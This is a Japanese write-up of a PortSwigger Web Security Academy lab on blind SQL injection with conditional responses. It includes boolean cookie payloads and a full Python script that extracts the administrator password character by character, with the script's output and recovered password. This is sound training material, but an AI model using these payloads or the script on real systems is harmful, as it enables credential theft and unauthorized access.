Blind SQL injection with conditional responses
はじめに
「Blind SQL injection with conditional responses」のWriteupです。SUBSTRING()
をあまりちゃんと分かっていなかったので、よい学びになりました。
Summary
- Blind SQL injection: クエリの結果を、ログなどの明示的な要素ではなく、レスポンスの差異などの暗黙的な要素から推測する手法
- クエリにブール値を含める
- 条件付きでゼロ除算などでエラーを発生させる
- 条件付きで時間遅延を発生させる
- OAST(Out-of-bound Application Security Testing): テスト対象が意図しない宛先に対して送信したパケットを検査する(Burp Collaboratorで可能だが割愛)
SUBSTRING((), offset, length)
offset
: 何文字目を先頭にするかlength
:offset
から何文字目まで取り出すか
試したいこと
- Burp suiteだけで解く
- Solutionを見るとどうやらBurpだけでやる前提なので(きっと全ての問題がそう)。
- 並列処理で解く
- 二分探索で解く
Writeup
目的と事前情報は以下の通りです。
administrator
ユーザーでログインすること。- ユーザー情報は
users
テーブルに格納されていて、username
列 とpassword
列で構成されている。
スタート。
ログイン画面。
SessionIdにBurpを使ってtrueになるようなクエリ( AND 1=1 --
)を加えてリクエストします。この場合は "Welcome back!" という文字列が含まれていますが……。
falseになるようなクエリ( AND 1=2 --
)では含まれません。この挙動差異を使ってBlind SQL injectionできます。
コードを書きました。候補文字列はとりあえず英数字・記号としています。
import requests import string url = 'https://thisislaburl.web-security-academy.net/login' tracking_id = 'thisistrackingid' session_id = 'thisissessionid' cookies = dict(TrackingId=tracking_id, session=session_id) def run(): chars = string.printable[:95] print(chars) ans = '' for i in range(1, 100): print(f'[*] try {i}, ans is "{ans}".') for char in chars: q = f"' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), {i}, 1) = '{char}'--" print(f'[*] query is {q}.') cookies = dict(TrackingId=tracking_id + q, session=session_id) resp = requests.get(url, cookies=cookies) if 'Welcome back!' in resp.text: ans += char print(ans) break if __name__ == '__main__': run()
実行。しばらく待つとそれらしい文字列が出てきました。
$ python3 ./bsqli_solver.py 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ [*] try 1, ans is "". [*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '0'--. [*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '1'--. [*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 1, 1) = '2'--. ... ... ... [*] query is ' AND SUBSTRING((SELECT password FROM users WHERE username = 'administrator'), 21, 1) = ';'--. ivvyuc0s4z8mi49ytu9m; [*] try 22, ans is "ivvyuc0s4z8mi49ytu9m;".
administrator
と ivvyuc0s4z8mi49ytu9m
でログイン成功しました。